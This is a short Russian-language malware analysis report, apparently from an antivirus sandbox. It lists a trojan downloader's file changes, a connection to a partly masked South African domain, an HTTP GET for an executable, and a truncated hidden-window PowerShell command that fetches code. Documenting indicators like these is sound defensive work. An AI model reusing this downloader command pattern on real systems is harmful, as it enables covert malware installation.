Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
Подключается к
- 'ss#####lopments.co.za':80
TCP
Запросы HTTP GET
- http://ss#####lopments.co.za/1/7q.exe
UDP
- DNS ASK ss#####lopments.co.za
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\ldo.exe') {Remove-Item $env:APPDATA + '\ldo.exe'}; $newP = New-Object System.Net.WebClient; $newP.Headers['User-Agent'] = 'come-t... (со скрытым окном)
